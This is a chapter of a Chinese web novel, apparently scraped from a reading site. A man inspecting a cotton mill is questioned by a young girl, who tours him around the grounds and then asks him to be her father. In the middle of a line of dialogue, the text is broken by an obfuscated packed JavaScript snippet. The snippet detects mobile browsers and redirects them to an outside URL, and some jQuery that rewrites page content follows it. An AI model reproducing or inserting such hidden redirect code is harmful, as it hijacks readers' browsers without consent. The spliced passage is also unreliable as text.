彭向南一下子看呆了。
明明只是普通的白衬衫搭配西装长裤,和无数工作在厂区的职工相似的打扮,偏偏眼前这位让人挪不开目光。
尤其笑起来,眉眼微弯,眸子里迸出点点星光,很迷人。
但是……
长得再好看,也不能嘲笑她啊!
彭向南拽紧书包迈上前,昂起小脸一本正经地质问。
“叔叔,你是在笑话我吗?”
钟绍勋不会想到,有朝一日,自己会被一个小娃娃堵在路上追责。
他收敛情绪,俯下身认真解释。
“叔叔没有笑话你。”
到达沣西市后,他稍作休息,撇开团队与助理,自己单独过来厂里提前考察。
原定的考察日期是明早,他习惯突击检查,这样能观测得更真实。
只是没想到,半路被两个小学生拌嘴吸引了注意。
个头不及他腰部的两个小娃娃,为了谁与谁关系更好而气鼓鼓地争论着,仿佛天要塌下来一样。
此般情景勾出他脑海中的一些儿时往事。
陆文山、武洋和他一样,都是从小在同一个军区大院长大的孩子,三人一向形影不离。
再好的关系也有发生龃龉的时候,有次他和陆文山去胡同里捉知了,忘了叫上武洋,事后得知真相的武洋也是这样逮住他质问。
童年泛黄的记忆涌上心头,钟绍勋生出一股感慨。
这股感慨还没来得及转化成对挚友已逝的唏嘘,小朋友关于“幼稚与成熟”的言论直接让他破了功。
他原本并不想笑,奈何小姑娘摆出一股极为严肃的态度,与她肉嘟嘟小脸形成鲜明反差,他忍不住笑出了声。
当然,这并不是笑话对方。
“叔叔是觉得你可爱。”
圆溜溜的大眼睛,红润的小嘴巴,带着婴儿肥的圆润脸颊,说话时像个小大人,脸上表情生动鲜活又有趣。
的确可爱。
钟绍勋试图伸手揉揉对方小脑袋以示友好。
“你叫什么名字?”
小姑娘警惕地往后退了一小步。
“我妈说过,名字不能随便告诉陌生人。”
“哦。”
钟绍勋无声轻笑。
“你妈妈说得对,是该这样。”
……
不远处看到两人逐渐聊上的李浩心里火急火燎,明明是他和彭向南之间的争论,怎么突然被这个陌生叔叔插了一脚?
况且他母亲也同样和他交代过,不要和陌生人透露太多,谁知道对方是好人还是坏人呢?
万一是坏人,那就危险了!
特殊时刻,李浩决定先放下两人之前的矛盾。
他主动上前扯了扯彭向南的衣角,小声凑到她耳边催促。
“我们快走吧,快回家。”
彭向南无动于衷,好似没听见。
“向南,别跟他聊了,我们又不认识他,走吧,快回去。”
彭向南不为所动,仍然站在原地,不肯挪脚半步。
完了完了。
一定是这个陌生男人使用什么药水将向南迷住,让她失去自我意识,等下指挥她做什么她就会去做什么。
往日汪舒云拿来吓唬李浩的故事终于派上用场,李浩真以为碰上奇怪的人,不停拉拽彭向南。
彭向南完全不理会他,一双眼只不停打量对面的陌生男人。
看吧,果然有问题!
权衡之下,李浩拔腿就跑。
跑之前附在彭向南耳边低语一句:“你等着,我去搬救兵!”
语速太快,彭向南根本没听清。
她只听到李浩叽里咕噜在她耳边嘱咐一句,随后撒丫子跑得无影无踪。
“你的小伙伴走了,你是不是也该回家了?”
钟绍勋带着笑意望向她。
“你妈妈没有跟你交代过,不可以太晚回家吗?”
交代过。
而且让她这两天放学不要乱逛。
彭向南很想离开,但挪不动步子。
不知怎地,即便完全不了解面前这人的底细,她仍旧想多与对方交谈几句。
“叔叔,你是厂区的职工吗?”
“不是。”
不是厂区职工,说明是从外面进来的人。
“那你过来做什么,找人吗?”
“不是。”
面前的小姑娘摆出一副盘问身份的架势,钟绍勋不禁笑了。
他难得有耐心地继续同小姑娘周旋,“我是进来参观的。”
“那我带你参观。”彭向南自告奋勇。
“可是我已经参观完了。”
“那就再参观一次,”彭向南拍着胸膛打包票,“我从小在这里长大,哪个犄角旮旯我都清楚,我带你参观,你一定会更有收获。”
钟绍勋没吭声。
望着面前小大人一样的女娃娃,他哭笑不得。
刚才还心存戒备不让他摸头,这会儿又开始要主动带他参观厂区,小孩子的心思变得可真快。
“现在不怕我是坏人了?”
“不怕。”
彭向南乐呵呵地摇头。
她生长在这片厂区,一草一木都非常熟悉,对方真要是坏人,她有法子摆脱,更何况她的直觉告诉她,面前的人不坏。
不仅不坏,还挺合她眼缘。
怀藏小心思的彭向南开启了她的向导之路。
她煞有介事地背着书包在前方带路,边走边介绍厂区里的建筑。
当然,她的重点并不在介绍上,在于见缝插针的一句句打探。
“叔叔,这个是我们厂区的学校,那一排红砖房一共15间,后来不够用,又在旁边横着多建了3间,现在总共18间教室,每班大概能坐40人左右。对了叔叔,你今年多大了?”
“30岁。”
三十岁啊,比妈妈大两岁。
大一两岁也差不多是同龄嘛,问题不大。
“叔叔,再往前面走,看到那个红瓦盖的圆顶房没有,那个是大礼堂,开集体会议用的,节假日有什么庆祝活动也是在里面举办,平时放映电影也是在里面。对了叔叔,你是做什么工作的?”
既然不是棉纺厂的员工,那待遇不一定有妈妈的待遇好,但是看对方衣裳整洁、头发梳得铮亮,经济条件应该不至于太差。
太差的人都在为生活奔波,哪还有心思捯饬自己。
“我……是做开发的。”
做开发?
彭向南没听说过这种工作。
她不太懂。
所有关于职业工种的了解,都来源于棉纺厂,至于棉纺厂之外的一些工作,她没接触过,完全不明白。
“做开发就是……”
解释起来似乎有点困难。
钟绍勋指着一大片厂区的建筑,“就好比这些都是人为开发出来的,我的工作就是把这一片开发出来,然后让大家在这里工作、生活。”
“哦。”
彭向南似懂非懂。
“所以你是泥瓦匠?”
“是。”
钟绍勋听笑了。
“我们都是在为祖国的建设添砖加瓦。”
泥瓦匠也还不错,可以自己盖房子,彭向南觉得这是一个很有技术含量的工作。
挺厉害的。
她继续介绍:“叔叔,你看远处那个大烟囱,那是我们的食堂,食堂很大,每次到饭点,人都特别多,挤都挤不进去,不过食堂里的菜没我妈妈做得好吃,我也不怎么喜欢吃食堂。对了叔叔,你结婚了吗?”
“……”
钟绍勋早就发现了。
这小家伙每次给他介绍一堆,末尾总要附带一句私人话题。
询问年龄和工作倒也罢了,怎么还关心起他的婚姻状况?
他好奇地打量面前的小姑娘,“我结没结婚很重要吗?你为什么要问这个?”
一个八九岁的小姑娘关心这样的问题,也太奇怪了。
这些问题总让他回想起踏进家门的那些媒人的嘴脸,以及母亲劝他早日成家时烦躁的念叨。
钟绍勋一下子从玩心中抽离出来。
棉纺厂他其实已经参观完毕,只是看小家伙满怀期待地想要带他参观,那双水润的大眼睛眨也不眨望向自己时,他终究没忍心拒绝。
可是他这次行程颇紧,时间也没必要耗在重复的事情上。
陪小姑娘走了一段,也算是没辜负她的请求。
他看了一眼天色,思索着差不多该离开。
站直身子,打算从口袋里掏出怀表查看时间时,面前传来一声坚定的回复:“很重要。”
小姑娘直勾勾望向他,目光坚定得像要入党。
“你有没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372478|199986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有结婚,对我很重要!”
噗呲——
钟绍勋第二次毫无防备被逗笑。
他重新蹲下身子,望着眼前这个颇为奇怪的小姑娘。
“那你说说,为什么对你很重要?”
彭向南掰着手指推测:“你没有结婚的话,是不是说明你还没有孩子?”
“是。”
钟绍勋挑眉。
“我没有孩子,那又怎么了?”
“那你能不能……做我爸爸?”
小姑娘眼神真挚,目光中满含期待,像是鼓足了勇气,等待一道未知的宣判。
钟绍勋微微怔住。
凌厉的眉眼一下子变得柔和。
他没想到,问题的最后,是这样一个令人猝不及防的真相。
“你没有爸爸吗?”
小姑娘沉默着摇摇脑袋。
唉,那很可怜了。
钟绍勋叹息一声,伸手温和地揉了揉对方小脑袋。
心生怜悯。
但怜悯是一回事,责任是另外一回事,况且给人做爸爸这种事……也不能随随便便就答应的吧?
小孩子或许只是缺少父爱,才会向陌生人做出这样的举动。
怕伤害到小孩,钟绍勋斟酌着将话语说得圆润一些,“这件事很复杂,不是我答不答应的问题,首先你应该和你妈妈商量一下,对不对?”
“我妈说过了,让我自己找爸爸。”
“……”
钟绍勋沉默。
这小孩奇怪,这小孩妈妈也奇怪。
“但是我可能不会答应做你爸爸,不过我答应经常给你送礼物,好不好?”
“好吧,我也不强人所难。”
小姑娘很是大方地挥手。
“你要是不愿意那就算了,不过要是你反悔了,就回来找我哦。”
以为会被纠缠一段时间难以脱身,没想到对方这样识大体,钟绍勋头一次遇见这样特别的小孩。
很会粘人,又意外的懂事。
总是在他意想不到的地方出乎他意料,真摸不透心思。
他取下挂在衬衣上的钢笔,递给对方。
“送给你,就当作是你带我参观厂区的酬劳吧。”
“谢谢。”
彭向南也没客气,一把接过。
她不懂钢笔的好坏,只知道这支泛着金属光泽的钢笔比班上其他同学的钢笔好看多了。
留着写作业吧。
刚将钢笔放进书包,不远处传来一道尖锐的吼叫。
“你谁啊?在做什么!”
汪舒云健步如飞地冲了过来,身旁还跟着气喘吁吁的李浩。
在家准备晚餐的汪舒云看到儿子慌慌张张跑回家,说是彭向南被陌生男人带走了,她起初不信,心想厂区里很安全,哪有人敢来这里闹事。
奈何犟不过儿子,被儿子强拽着出了门。
没想到走了几步一瞧。
嘿,彭向南跟前真站着一个陌生男人。
陌生男人还面带笑容地摸了摸彭向南小脑袋,什么人呐这是,是他家闺女吗,他就敢上手乱摸,这么大个人了,忒没分寸。
汪舒云气势冲冲冲了过去,准备开骂。
走到眼前瞧清楚男人长相,那嚣张的气焰顿时灭下去一半。
倒不是对方长得太俊,她一个结了婚的妇女,也不关注对方俊不俊,只是觉得对方的长相莫名有些熟悉。
是不是在哪儿见过啊?
怎么就死活想不起来了呢?
甭管这些了。
汪舒云二话不说拉起彭向南手腕便走,回头偷偷瞅了一眼被她丢在原地的陌生男人,开始念叨:“我说向南啊,你妈连这个都没教你吗?”
“我可是天天都教李浩,别跟陌生人说话,你又不知道他是好人还是坏人,你搭理他做什么?”
“这个彭曼冬,也真是的,怎么一天到晚只顾着自己,孩子都不教一教、管一管。”
……
彭曼冬不过出去倒了一趟垃圾,回来时,闺女已经放学回家。
与往常不同,闺女没急哄哄吵着来厨房帮忙,而是安安静静坐在房间里。
她透过门缝往里觑了一眼。
闺女捏着钢笔在写作业。
啧,太阳打西边出来了。
这还是头一遭瞧见闺女放学回来主动写作业。